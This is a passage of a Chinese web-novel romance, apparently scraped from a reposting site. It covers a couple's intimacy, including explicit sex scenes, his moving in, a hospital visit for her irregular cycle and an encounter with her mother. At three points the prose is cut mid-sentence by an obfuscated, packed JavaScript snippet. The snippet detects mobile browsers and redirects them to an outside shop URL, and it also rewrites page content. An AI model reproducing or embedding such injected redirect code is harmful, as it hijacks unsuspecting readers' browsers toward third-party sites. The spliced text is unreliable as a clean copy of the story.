“行,再给你点时间,好好考虑。” 李既白附在她耳边沉声说道,手上忽然用力。 眼前的一切都在旋转,何筱舟的脸陷进被褥,膝盖抵在床沿,后腰被深深地按下去。 思绪随之变成纯粹的空白。 她整个人如同跌落树枝的叶,在水声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145126|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的击荡中浮浮沉沉,茫然不知最后将飘向哪里。 平流与急湍交替,迭宕与侵蚀接续,漫长的颠簸过后,她被潮水冲刷着,搁浅于湿润的岸滩。 何筱舟伏在床边,手松开床单,无力地垂下去。 身上的衣物还算完整,她此时的状态就像单纯打了个盹一样寻常。 可只有残存于身体内的余波提醒她,刚刚经过一场多么混乱的激烈性.事。 李既白将她捞进怀里,双腿支在她身侧,以完全拥裹的姿态圈她于身前。 事后温存时间,他偏要旧事重提,“想好了吗?” 何筱舟故意地,摇了摇头。 他以再一轮行动解释了这样问的原因。 何筱舟不记得类似的问句重复了几次,她到了几次,只记得最后她累得睁眼的力气都没有了,昏昏欲睡间却隐约听见了落雨的声音。 她猛地坐起来,差点撞翻李既白递过来的水杯。 “下雨了?” “没有下雨,我刚才在洗杯子。” 何筱舟就着他的手喝完了那杯温水,又直直栽到枕头上。 李既白不肯放过她,拉她半靠在床头。 他顺手拿起空掉的包装盒丢进垃圾桶,说:“没有了。” “筱筱,你没考虑好也没法再继续了,所以,我们认真聊聊吧。” “聊聊你觉得我们迟早会分开的原因。” 何筱舟刚刚松懈的念头,又遽然提到嗓子眼。 那柄剑好似骤然逼到她颈间,只余寸许空隙。 “我做了个梦,梦里……跳下了悬崖。” “就是我们刚刚确定关系那个晚上?” 很荒唐的逻辑关系,何筱舟没指望他会相信。 可李既白听到她含糊的应答之后,倏然伸臂抱住了她。 “抱歉,我以为只是一个普通的噩梦。” “我应该细心一点的。” 李既白垂脸埋进她颈窝,语气满是懊恼,“我坦白,我这些天一直没去找你是因为,我的工作还没有着落,我没办法坦然接受我在你面前是个弱者。而且我担心……我们长时间不同频会有矛盾,有隔阂。” 何筱舟觉得他的担忧同样荒谬。 有些无语道:“其实,我的收入还不错。” 他声音闷闷的,“所以呢,你要包养我吗?” 何筱舟扬眉嗯哼一声,“至少你那方面不弱,我不会亏。” “我就知道你只在意这个。” 李既白腾出一只手,拿来手机,点了几下屏幕,外放一条语音消息。 “你跟飒姐是什么关系?她开会时候为什么会替你鸣不平?我错过了什么?” 何筱舟仔细分辨,认出那是孙林的声音。 “飒姐是指,我吗?” 李既白偏头吻她的唇,“姐姐,你所做的事,你的身体,都比你这张嘴诚实多了。” 何筱舟躲避着他愈加密集的吻,“不是没有了?” “可以外卖,或者,我帮你。毕竟我现在对你来说有用的,可能只有这方面了。” “那也不能一直……” 何筱舟捧住他的脸,鲜少这样认真地说:“不是你想的这样。我只是,需要确认。” 说她自私也好,利用他也好,她需要暴烈和失控,要绝对的占有与被占有,要撕碎理智,要抛开顾虑,要那个让她潜意识里感到恐慌的梦不复存在。 李既白看着她,“那你现在确认了吗?” “确认了。” 何筱舟又开始顾左右言他,“确认你体力很好,还能用很久。” 李既白凑近,略带气恼地咬她的脖颈。 用仅剩的一点精力做完清洗,等李既白换掉不能入眼的四件套之后,何筱舟缩进他怀里,沉沉睡去。 疲惫到极点的夜晚,没有任何做梦的空隙。 他们相拥着一起入睡,嵌进彼此的四肢框架里,那么契合,那么致密。 天蒙蒙亮的时候,何筱舟被生物钟影响,短暂清醒了一会。 只是那么轻微地活动了下腰背,身边人就跟着苏醒,随即收紧了圈着她的手臂。 “筱筱,别轻易离开我,好吗?” 他仍闭着眼,声音哑的厉害,一句话说得模糊不清的,听起来像极了梦呓。 何筱舟心软得不成样子,仰脸亲了亲他的额头。 “好了,勉强答应你。” 45. 惊喜 彻底醒来之后,何筱舟才有功夫回乔楠的微信。 她好奇昨天李既白带走她的后续,说约午饭,但当下时间不太合适,商量过后改成晚餐。 过了饭点,不尴不尬的下午,两人用冰箱剩下的食材简单煮了面对付午饭,填补从昨晚一直空到现在的胃。 吃完,何筱舟套了件李既白的毛衣窝进沙发里,无所事事地等衣服烘干。 “明天什么安排?” 李既白有一搭没一搭捋着她的头发,漫不经心问道。 “麦克说有个业内交流论坛,让我一起去。” 李既白的手指顿在她发间,“这算加班吗?” “也不算。” 何筱舟闭着眼睛,“了解一下最新动态,有机会的话,顺便探探竞争对手的发展方向。” 李既白若有所思地点点头。 “你呢,去拍素材?” 李既白俯首亲了亲她的额角,“找房子。” 何筱舟倏地坐起身,“你要搬家?搬去哪?” “你家附近。” 李既白伸臂揽住她,“这里太远了,我女朋友又这么忙,我应该创造条件,离她更近一点。” 有点突然,但何筱舟并不抗拒,只问他:“不担心工作上的事了?” 李既白认真地看着她,“我想通了。” “现阶段我的能力不可能超过你,或是找到比你收入更高的工作。如果以这个来论,我在你面前一直都是弱者。当然,我也会努力追上你的脚步,不会落后太久的。” 说到这,他顿了顿,“不过,你是不是不太在意这方面?否则可能就选苏先生,不选我了。” 何筱舟搡了他一把。 六年的差距,的确不是短期内就能弥合的。 她惊讶于他如此坦诚,无论是先前的担忧,还是此刻的自洽,他都没有刻意回避事实,只想着如何经营和她的关系,如何缩短距离。 而实际上,现阶段的她对伴侣没有很高的要求。 或许因为最初跟李既白建立联系的方式很直接,和他在一起的时候,她的状态很放松,自我感受远远大于一切外部因素带来的反馈。 也或许,正是年龄差异,才让她不必过早考虑有关未来的任何决定,不被通俗意义的“般配”裹挟,给他们之间注入太多现实的参照物。 “其实,不用那么麻烦,你可以住我家。” 字音渐沉,说到最后,模糊到几乎分辨不清。 何筱舟瞟他一眼,又快速垂下眼睛,长睫毛无声地掀起下落,似蝴蝶扇动翅膀。 “真要包养我?” “所以你这里的房子别退知道吗,哪天让我不高兴了,把你扫地出门。” 李既白闷声笑,身体压下来,一下一下啄吻她的唇,“这么绝情啊。” 何筱舟刚要攀上他的脖颈,烘干程序在这时运行完毕,从阳台传来提示音。 约好了吃饭前先去趟乔楠的新工作室,何筱舟看眼时间,轻推他的肩膀,“我该走了。” 李既白应了一声,却没起身,薄薄的呼吸仍盘绕于她颈间,像清晨山间缭拥的雾气。 将她整个人熨得轻盈,似要飘起来。 刚才的提议被他用玩笑的方式轻巧揭过,应当做不得数。 何筱舟当然也不会勉强他。 但难以避免的,不舍得离开的心情和他的气息一同缠着她,某一瞬,何筱舟竟冒出一个念头,希望这一刻就此停驻。 他大概也一样,只安静地拥着她。 谁也没有说话,就这么身体相叠抱了一会,李既白坐起来,将烘干的衣物取出来,递给她。 何筱舟走进卧室,合拢窗帘。 洗涤过的衣服带着蓬勃的热气,好像初夏时节从树荫下经过,风裹着若有若无的草木气息扑面而来,醺得人只想醉在这里,不去思考赶路的事。 “李既白。” “怎么了,是要拿什么吗?” 脚步声由远及近,最后停在门口。 半昏昧的室内,一切都像蒙了层滤镜。 何筱舟站在床尾,上身只着一件胸衣,衬衫还未扣好,要掉不掉地挂在肩头。 而她手中,则拿着方才被她暂时当作家居服的毛衣,“看天气快下雨了,你这件我能先穿走吗?” 她语气平静,清白到仿佛只是在征求他的同意。 可她到底知不知道,她这样拿着他的衣服,实际比直接穿上,更引人遐想。 尤其是,锁骨往下的区域,还有他留下的痕迹,像遗落在雪色中的花瓣。 李既白轻咳了声,“好。” 他走过去,垂着眼睛,尽量心无旁骛地把她的衬衫扣子一粒粒系紧,接着,从她手里抽走毛衣,往她脑袋上一罩。 这样,才觉刚刚那种难以呼吸的感觉稍有缓解。 何筱舟存心逗他,没想到他这么正经,颇感意外地扬了扬眉。 但真要继续可能不好收场,她就没再挑事,看了眼身上的衣服。 是他那件米色的粗针毛衣,颜色和质地与春日极其适配。 只不过穿在她身上有些不合衬,松松垮垮的。 何筱舟边往玄关走,边低着头兀自整理下摆。 冷不防,手臂猛地被人扯了一下,下一秒,她整个人被一股不容抗拒的力道压在墙边。 李既白的吻随之落下来。 “故意的是吧?” 他轻咬着她的唇,哑着嗓音含糊问道。 多多少少摸明白了她的脾性,所以这个吻带点强硬的意味。李既白将她的手反剪到她身后箍住,另只手控住她的侧颈,更深入地吻她。 “满意了吗?” 李既白看着伏在他肩头气喘吁吁的何筱舟,屈指捏了捏她腰间的软肉。 何筱舟的手沿他的胸口一路向下,触到渐有昂扬趋势的某处,低声笑开,“满意。” 她施施然换好鞋子,拎着托特包拧开门把手。 “等等。” 李既白跟出门,调出密码锁的控制程序,待提示音响起,捉住她的拇指,将指纹拓印上去。 录入完整之后,他握着手机,键入指纹备注。 仿佛早有这个准备,他没有多想,很顺畅地打了两个字,“小舟”。 何筱舟面无表情地转身:“你好肉麻。” 李既白低笑,揽她的腰把她拉回来。 尽管走廊一个人也没有,还是凑到她耳边,小声说:“密码是对角线,995511,记住了吗?” “太简单了,很容易试出来,建议你改一个。” 李既白认真地点点头,思考两秒,“080408,怎么样?” 是他们两个生日的日期组合,串联起来,好像契合到亲密无间。 何筱舟看着他将密码改好,想了想,从包里掏出钥匙串,旋下来一枚,搁到他掌心,“我家的备用钥匙。” 李既白怔了怔,随即攥紧手掌,俯首贴着她的额头,“不想让你走了怎么办?” 何筱舟勾了勾手指。 他很顺从地低下头,将耳朵凑近。 她轻飘飘地说了几个字,如愿瞧着他的耳根一点点泛红,踮脚揉了揉他的头发,走去电梯口。 电梯门合上之前,还很无辜地冲追过来的他摆了摆手。 “拜拜。” * 乔楠的工作室选址在西峰路步行街,避开最繁华的路段,藏于一条相对安静的小巷里。 沿途多是些风格独特的咖啡厅或者古着店,她的「方寸」混在其中,门脸儿不太显眼,用一小块不规则形状的木板当招牌,很低调地挂在小门一侧。 何筱舟到的时候,乔楠正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167609|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟一个看上去很冷峻的男人说话。 “助理说你不接单,我来问问原因。” “我只做女装。” “那件,是女装?”男人面色平静,指了指墙上挂着的一件深色西装。 乔楠看见他身后的何筱舟,如遇救星般,“是,我朋友定做的,她喜欢oversize.” 男人回过头,打量着她,暂且信了乔楠随口胡诌的话。他抬腕看表,说:“餐厅位置定好了,一起吃饭。” 乔楠指了指何筱舟,回:“我有约了。” 男人不再作声,说了句下次再约,经过何筱舟的时候朝她微微颔了颔首,神色难辨喜怒。 很平静的眼神,却无端让她觉得自己被标记了。 “这是谁啊?” 乔楠灌下一口水,“被我爸夸上天的周家公子,他好像很热衷于联姻,缠我好几天了。” 她无意深聊这件事,转头揶揄何筱舟,“真改风格啦?oversize?” 何筱舟难得脸热,“天气不好,没带多的衣服。” 乔楠一脸“我懂”的表情,“筱筱,我一直很好奇你谈恋爱会是什么样子,原来也这么……” 实话讲,她自己也是有点别扭的。 不适应骤然变得高频的线上聊天互发信息,不适应计划随时可能会被打乱,不适应将一部分独处时间让渡出去,不适应正在做某件事时因为一些极小的关联点忽然想起他…… 最别扭的是,这些以前在她看来很麻烦又琐碎的事,真正发生的时候,她一点都不排斥。 何筱舟犹疑地问:“是不是,不太像我了?” 乔楠皱眉,“有谁规定了你应该是什么样吗?” 何筱舟沉默了。 其实,给她设限的,从来都是她自己。 朋友多年,乔楠自然够了解她,“筱筱,凡是你想定的事,你从来不会犹豫。我只告诉你,恋爱也应该一样。” “尽情享受,你担心的事不一定会发生。” 在周边商圈吃完晚饭,何筱舟跟乔楠分别,独自驱车回家。 夜里的旧居民区安静极了,她垂头踩着树影,脚步沉缓,思绪却纷乱—— 他来找过她那么多次,她偶尔主动一次,应该算不上是不冷静、不理智吧? 这样想着,何筱舟加快步伐,打算先上楼拿些衣服。走到门口时,她习惯性抬头看了眼二楼的窗口。 本是随意一瞥,脚下却倏然顿住。 那片由来沉默、暗昧的阳台,此时亮着黄澄澄的光,与这栋老旧楼房内其他住户一样,在夜色降临以后,以暖洋洋的光线书写房子内温馨、宁静的序曲。 何筱舟站在门口,第二次才将钥匙对准锁眼。 最先映入眼帘的,是立于玄关的一只小号行李箱。 再之后,才是李既白。 他穿件薄款的牛仔衬衫,里面搭黑色的高领针织衫,眉目俊朗,灯光下的侧影看起来很像是从杂志或者画册的封面模特。 他身体斜斜倚着餐桌,袖子半挽至手肘,露出线条流畅而紧实的小臂,而手边,摆着一束粉色玫瑰。 不知他等了多久,站直身体的动作有些僵硬。 静默对视了许久,李既白先开口了,“筱筱,你知道的,我之前没有谈过恋爱。” 他似乎很紧张,说完,喉结仍上下滚动着。 “嗯?” “所以有些方面我可能做得不够好。” 何筱舟随手把包搁在一边,“比如?” “比如,我没有提前和你说,就来了你家,算不算不请自来。” 何筱舟蹬掉鞋子,直接赤脚走到他面前。 她踩着他的拖鞋鞋面,手指抓紧他的衣领,仰脸亲吻他的唇角。 “算惊喜送货上门。” “我有点喜欢。” 46. 糅合 直到两人都洗完澡,李既白顶着一头半干的短发,问她哪扇衣柜方便腾出来一部分给他挂衣服时,何筱舟才真正有了点他要搬过来的实感。 先前他留在这里的衣物不多,一个格子的空间绰绰有余,这次不同,何筱舟扫了眼敞开的行李箱,有几件外套需要挂起来。 她便把一些不常穿的取下来,将衣架递给他。 比起何筱舟,李既白的状态明显自如很多,十分利索地整理完,也没等她提醒,直接拎着空行李箱搁进单独的收纳空间。 是这个过程,让她忽有一种融合的感觉。 像拼色的鸡尾酒,随冰块消融而逐渐渗入对方的领域,看起来各自仍有完全不同的本质,但中间的经纬界限已经不再分明。 何筱舟抱臂斜倚衣柜门,看着混在一起的衣物,若有所思。 李既白弯腰点燃香薰,回过头,见她好整以暇地站在那,没有上床的意思,随口问道:“怎么了?” 她略苦恼地凝眉,“我们的进度,是不是有点太快了?” 李既白愣了愣,蹙眉看向她,“我听错了吗?” 他靠近啄她的唇,“刚刚你……的时候,好像不是这么跟我说的。” “还有,问我介不介意一夜情的时候。” “再见面,问我要不要帮你喝点酒的时候。” “刚在一起,邀请我上楼一起看电影的时候。” 似铺陈“罪状”般条理清晰,但惩罚的意味却暧昧不明。 因为每说一项,他就要低头吻她一次。 到最后,李既白干脆将她横抱起来丢到床上,手臂随即跟过来,用力圈住她,双腿也紧紧锁着她的。 “现在想反悔,晚了。” 细想想,他们之间的每一个步骤,的确是比普遍认知中的流程要迅速一点…… 何筱舟不再挣扎,屈起手肘轻轻撞他的肩膀。 “手机递给我。” 李既白腾出一只手照做,低眸瞟见她点开购物软件,便拿来自己的手机说:“要买什么,我来吧。” 何筱舟改为侧躺的姿势,笑盈盈地看着他,“好啊。” “避孕套。”他点按搜索栏的手指顿了顿。 “角色扮演制服。”他蓦地抬眸看向她,耳根迅速飘起可疑的薄红。 “手铐、捆绑道具。” 空气一瞬静默。 然后,是手机跌进床单闷沉的声音。 李既白再也无法忍受了似的,手掌扣住她的后颈按在胸前,无奈道:“好了好了……我认输。” 何筱舟窝在他胸口处笑得身体发颤,偏还要继续挑衅,“你是不是误会了,这些是打算给你准备的。” 李既白拥着她,许久才憋出一句,“……不管怎么样,我都还没有准备好。” “就是没准备好才好玩啊。” 回应何筱舟的是一室昏暗。 关上灯,他好像更能放得开,手指沿着她的侧腰一路下滑,声音沉哑,“姐姐,你不觉得,慢慢开发新地图会更有趣一点吗?” “来日方长。” 明明是完全不走心的话题,他却总能及时掰回正轨。 但何筱舟无法设想他所说的日久,尽管,提前规划目标和方向是她由来秉承的习惯。 与李既白相关的一切,她只能考虑眼下。 或许是他们之前足够合拍,何筱舟比自己预想的更快习惯了李既白的存在。 每天清早,比意识更先清醒的是味蕾。 他会早她半小时起床,迎着晨曦朝露汇入早高峰忙碌的人群,轮换着去她最常光顾的几家早餐店,买来符合她口味的“老样子”,还有雷打不动的冰美式。 餐桌上多出一只花瓶,用来盛放他偶尔“顺路”买回来的各种鲜切花。 极简的素胚样式,反而将花朵映衬得格外生动。 他们相对而坐,以清淡的花香佐餐,互相简单道过当天的安排,再换好衣服一起出门。 有意无意的,衣物或是配饰总与对方有一致的色彩重叠,即便没有手挽手,也能看出他们之间关系匪浅。 到地铁站步行十分钟,路线她再熟悉不过,常常利用这段时间处理团队成员的外勤请假申请及前一天的日报。 日复一日的重复流程里,多出些许不同——虚虚环在她肩膀的手臂,还有他的一只蓝牙耳机,他的歌单。 R&B似有奇效,让匆忙的通勤路变得轻快许多。 当然,她也有可以分享给他的。 四号线从清澜河上穿桥而过,她拉着他挤到门边的位置,便能完整看见整幅江面。 水波之上浮着碎金般的光芒,如丝缎般柔软地漾开,常有摄影博主扎堆拍照,从如织人流中艰难捕捉瞬间光影。 但在他的镜头里,无论是江水还是悬日,皆是她背影的陪衬。 CBD底商的快餐似乎都出自同一家预制菜品牌,加热后都是一个味道。 她只有果腹的需求,因此从没觉得难以下咽。而近来准时在午饭时间打来的送餐电话,让她频频产生一种未来“由奢入俭难”的隐忧。 午后的工作时间相对漫长,他有时会发来一段从无人机画面中截取的短视频,或者一张随手拍下的路边风景,提醒她中场休息时间到。 她的“回礼”,通常是茶水间的茶包、咖啡胶囊和小零食,而他也有巧思,配合当天的天气或者她的穿衣搭配,帮她做出对应的选择。 加班频率越来越低。 以往她总觉得在公司里工作效率更高一些,但当他们并肩窝在茶几前,各自占据半边位置互不打扰时,她只希望能再快点完成,多留出时间做其他的事。 比如,看电影。 悬疑题材是常驻嘉宾,猜故事走向和转场镜头则是他们乐此不疲的小游戏。 无法准确统计谁赢的次数更多,因为她只记得他轻如呢喃一般的调笑,“怎么办啊姐姐,好像你又输了……” 以及,不管什么赌注,最后都会变成一枚轻吻,携着笑意,落在她额前或者唇角。 生活,不再是固定流程般的两点一线,因这些平静之外的微小波澜,似乎变成了动态的。 像不间断投入井中的石子,反复激荡起涟漪。 除去这些,当然也有令何筱舟感到不爽的事。 比如清闲的周末,睡到自然醒,睁开眼即能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204135|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见近在咫尺的英俊面孔,那画面,很具冲击力。 好看的侧脸线条一直延伸至下颚,而喉结,随无意间滚动起伏的动作没入衣领间,若隐若现。 很难不做些什么。 可不巧的是,她正逢生理期。 何筱舟将这份不悦转嫁,抬脚踢他,“你回去。” 李既白睡眼朦胧地伸臂搂她,“回哪?” “你家。” 他清醒了些,问:“为什么?” “因为我现在不能睡你。” 李既白气闷地捏她的脸,“我对你来说,就剩下这点作用了吗?” 他轻叹一声,又抱紧她,“我不走,我留下照顾你,你好好休息。” 直到第十天,李既白后知后觉意识到不对劲。 那时正逢五一假期,两人没有事无巨细做攻略、安排出游行程,只是漫无目的地在津海市周边自驾,累了就近找酒店或者民宿休整。 赶上那天去到一个比较偏僻的小镇,何筱舟洗漱过后,发现卫生棉用完了,便让李既白帮忙去买。 他按她发来的品牌买好,递给她的时候,突然想到什么,“你这次生理期多久了?” 何筱舟习以为常,很是不在意地回答了。 李既白皱了皱眉,暂时没说什么,等她从卫生间出来后,拉着她在床沿坐下,神情严肃地问了很多问题。 最后得出结论,明天一早回津海,去医院。 月经紊乱持续了很多年,何筱舟从没放在心上。 她认知里觉得这不是需要大费周章的病症,而且总认为很麻烦,大概需要长期吃药调整,因此一直没想过用其他手段干预。 可李既白双手握着她的肩膀,使她面朝向自己,认真说道:“筱筱,只要是病,就不存在大费周章的说法。” 可能是被他少有的坚持说动,何筱舟同意了去医院。 但是经期还未结束,有部分检查项目做不了,医生只能循例问了问这种情况持续有多久,日常作息之类的常规问题。 和一开始想到的结果一样,医生只建议先规律作息,工作上尽量调整心态压力不要太大,诸如此类。 走出诊室,何筱舟把单子收进托特包,看着旁边的李既白,“可以了?” “不可以。” 他这样说着,自顾自开始规划接下来帮她改善生活习惯的具体做法。 何筱舟有点不太适应被他这样对待,敷衍地连连嗯声,眼睛四处乱瞟,就是不和他严肃的眼神对上。 上午的光景,医院患者密度很高。 何筱舟的视线百无聊赖地在人群中穿梭,冷不丁的,直直迎上一道熟悉的目光。 她下意识要躲,腿比脑子快,半蹲下隐在李既白肩后,拉着他的衣袖,尽量不动声色地调转方向,打算从另一侧的电梯离开。 李既白看她反常的样子,“怎么了?” “别说话,等会告诉你。” 顺利地接连绕过好几拨来来往往的行人,何筱舟刚要按电梯,忽然听到身后有人喊:“舟儿!” 何筱舟闭了闭眼,认命地转过身,“妈……” “你怎么在这?” 47. [锁] [此章节已锁] 几步远的距离,何筱舟脑补了好几出戏码。 她兀自思索着应对的说辞,无暇顾及李既白。脑袋里各种想法打架的时候,蓦然感觉到手上传来一股暖意。 是他握住了她的手,低声问:“那是你妈妈?” 何筱舟轻嗯一声,想挣开他的手。 他却加重了手上的力道,“别慌,我可以应对。” 说话间,何丽萍已经撇开身边的刘循书,急火火地走过来。 到跟前她却迟疑了,神情有些踌躇地开口:“舟儿,你怎么来医院了?哪里不舒服?” “我……肠胃炎。” 何丽萍是急性子,见她闪躲着不说实话,目光里已有几分了然,瞪着她,分明在压制着火气,“我没长眼睛吗?那明明是妇科。” 话是冲着何筱舟说的,但眼睛直勾勾盯紧了李既白,视线在两人身上来回梭巡,最终定格在她小腹的位置。 何筱舟恍然明白过来,她明显是误会了。 很离谱,很荒谬,让人无从辩解。何筱舟嗤笑一声,“没错,妇科。妈,直说吧,你什么意思?” 李既白上前一步,欲开口解释,被何筱舟用力拽了回来。 刘循书见状赶忙在一旁打圆场,“到饭点了,要不我们找个地方坐下慢慢说。” 津大附属医院周边总是人满为患,车子如龟行般缓缓挪出院前那条街,拐上宽阔的主干道后,总算畅通了一些。 可车厢内一片死寂。 直到坐进餐厅的包间,也没人先开口说一句话。 过了会,服务员进门送上一壶茶水,询问点菜事宜。何筱舟坐在靠门的位置,问过刘循书的偏好,草草点了几道菜。 这个过程中,何丽萍一直绷着脸。 惹得何筱舟无端想笑,“妈,你的想象力未免也太丰富了。桌上也没外人,你详细说说,你以为我去看妇科是得了什么病?” 李既白在桌下用力捏了捏她的手掌,站起身。 他隔着圆桌望向何丽萍,缓声说道:“阿姨,叔叔,你们好。我是李既白,筱筱的男朋友。我和筱筱是去年六月底认识的,上个月刚刚开始交往。” 介绍完,他看了眼何筱舟,继续道:“今天我们来医院是因为,筱筱生理周期紊乱的情况有点严重,想看看有什么办法可以缓解。” 何丽萍的面色缓和了些,来回看了看他们,欲言又止。顿了片刻,还是开口:“小李是吧,那个,我多嘴问一句,你多大了?” “……”李既白犹疑地回:“23岁。” 何丽萍与刘循书对视一眼,神色变了变。 何筱舟不以为然,拉他坐下,及时制止何丽萍后续一连串的“多嘴”提问,“妈,你刚听见了,才开始谈,别查人户口。” 何丽萍撇撇唇角,不再作声。 查户口的范围可大可小,何丽萍误会在先,此时连一些边缘性问题也不好再问出口,只沉默着喝水。 桌上氛围有所缓和,何筱舟想到什么,看着何丽萍问:“那你跟刘老师来医院是?” 刘循书目光蓦地变暗,嘴唇嗫嚅着,似下了很大决心般沉了口气。刚张开口,却被何丽萍制止。 她动作迅捷地扯了扯他的衣袖,“我更年期。” 何筱舟眼神复杂地拧眉,想了想,说:“我给你和刘老师定个体检吧,哪天你们有空,我带你们去做个全身检查。” “你工作忙,我们自己去就行。” 何丽萍看了眼正给何筱舟倒水的李既白,语气沉缓道:“舟儿,我和你刘叔都有重疾险,你别担心我们。倒是你,照顾好自己。” 何筱舟几分敷衍地嗯了声,反而是李既白,搁下水杯,郑重道:“阿姨,您放心,我会照顾好她。” 一餐饭就在这样的相互寒暄中吃完。 何丽萍坚持要打车回,在餐馆门口道别后,何筱舟目送他们乘坐的出租车开远,才对李既白说:“走吧。” 坐进车里,他没急着启动车子,侧过身,学着何丽萍的样子喊她:“舟儿。” 他是南方人,讲起连音来别扭到让何筱舟浑身不舒服,“好好说话。” 李既白敛了笑意,语气有些忐忑,“筱筱,我跟你说一下我家里的情况吧。” 何筱舟捂住他的嘴唇,“我说了,不查户口。” 李既白将她的手拉下来,轻轻握住,“是因为我和你之间的年龄差让你觉得我们注定走不远吗?所以没有谈论这些的必要……” 何筱舟记起饭桌上他一刹那的停顿,没想到这个问题在他那被上升到了这样的高度。 “那你觉得在外人眼里,我们俩谈恋爱,是谁比较占便宜?” “我,我各方面都差你很多。” “而且因为男女客观存在的心理差异,在阿姨看来,可能是你兼容我、迁就我、护着我更多。” “李既白。” 何筱舟无奈,捧住他的脸,亲了亲他的唇角。 “难道你的人生会停在23岁吗?” “你会进步,我也会。我们之间的差距可能永远存在,但这并不影响我跟你在一起,因为和你相处,我很放松,也很开心。” “至于我们各自的家庭。” “我不想考虑太多,也不想有任何附加条件影响我们,我想这段关系里只存在何筱舟和李既白,不牵扯其他任何外因,也不给彼此设限。” 她难得这样袒露心迹,诚恳到让他不免动容,他垂下脑袋,额头和她的相抵,声音低哑,“可是,我怕我追不上你。” “谁说的?” 何筱舟蹭了蹭他的鼻尖,“不是已经追到了吗?” 李既白愣住,随即弯唇笑了。 何筱舟以为这篇就这么揭过去了,但那天之后,李既白肉眼可见的愈发忙碌起来。 除了先前他每天都在坚持做的英语和德文练习、健身、更新视频账号内容之类琐碎的事,他外出面试的次数越来越多,还抽空参加了几次行业交流峰会,主动向一些业内优秀企业或者独立工作室递简历,寻求机会。 他大学时期曾带队参加过设计和制作比赛,获得过不错的成绩、以及很有分量的证书,再加上领航没有使绊子,所以收到了几个不错的工作邀约。 经过对比,最后李既白选定了一家与德国长期合作的无人机研发公司。 员工流动率很低,没有设置太多对外招聘的岗位,是他在一次发布会上,偶然参与进该公司和德国方面的脑暴交流中,因缘际会得到的机遇。 各个层面来说,这份工作跟他的契合度都很高,就连办公地点,也跟知界同属一片商业区。 如果不是何筱舟没有这方面的人脉,李既白简直要怀疑是她暗中帮他找的工作。 “你是不是对我的能力有什么误解?” 五月下旬,津海的温度正适宜。 何筱舟只穿了件他的T恤,露出纤细修长的一双腿,手里则捏了一罐冰啤酒,抱膝倚着沙发,看他进进出出地整理行李。 李既白同公司商定将正式入职时间定在六月初。 一直帮他管理民宿的吴宪文听说这件事之后,便让他回趟南岸,正好赶上给吴宪文做伴郎,参加他和徐沐子的婚礼。 “你什么时候回来?” 李既白没应,把行李箱关严,洗了手,坐到她身边,直接抽走她手里的酒,“我没记错的话,今天你第三次违规了。” 何筱舟有时奇怪他的记忆是不是被区分成不同的存储文件夹,能随时随地按图索骥。 明明他自己的事已经千头万绪,却总能揪住她不经意间的缺漏。 上次去过医院之后,他做主定下了一系列条款。 譬如不能吃生冷食物,少喝酒,不能熬夜…… 当然,何筱舟愿意接受这个约定的前提是,她如果能做到,那他就要按照她的要求,开发新“地图”。 只是新玩法还没试两次,而她的“惩罚”,已经因她愈来愈高频的违约,由一开始的当天不能接吻,改成不能做.爱。 “但你明天就走了哦,确定吗?” 何筱舟绷着脚尖,沿他小腿的肌肉一路向上。 李既白搁下啤酒罐,攥住了她的脚踝。他手指被冰镇的酒液沁凉,那冰凉的触感惹得她不由一颤。 “确定。” 李既白浅笑着,这时才回答她刚刚的问题,“我应该周末回来。” 说完,他真就去睡觉,躺在床边,刻意空出了一部分位置。何筱舟见他这样,扬了扬眉,洗漱后也上了床。 关上灯,室内一片昏瞑。 工作的事落听,李既白身上一直紧绷的那股劲松懈下来,连日来的疲惫感侵袭着他,意识也在缓缓下坠。 将睡未睡时,忽听到闷响的震动声。 起初他以为有电话进来,却没见有亮光,仔细分辨声源后,他意识到不对劲。 李既白伸手扣住何筱舟的手腕,沉声问:“你在做什么?” 回答他的是一种稍显陌生的触感,滑而凉。 李既白顿时反应过来,这应当是她惯用的那枚粉色海豚。他脑中轰然,刹那间睡意尽消。 他翻过身,劈手夺过去,摸索到键位直接关掉。 “何筱舟!” 李既白鼻息粗沉,几分气急地将她的双手高举过头顶,以单手固住,另只手则去掀她的T恤下摆。 “你真知道怎么折磨我……” 尾音含糊,飘渺如同山间的雾气,喷洒在锁骨周围,激起一阵酥痒。 与他平素的温柔不同,来势汹汹的亲吻令何筱舟暗暗心惊。可她的双臂都被桎梏,无法推拒,只能被动地承接。 “唔……别咬!” 何筱舟吃痛,抬脚踹他,却是徒劳。 李既白牢牢压制住她的双腿,使得她整个人几乎是被固在床上。 晦暗的空间内,眼前的一切都是模糊的,能清楚感受到的,只剩轻巧灵活的指触。 …… 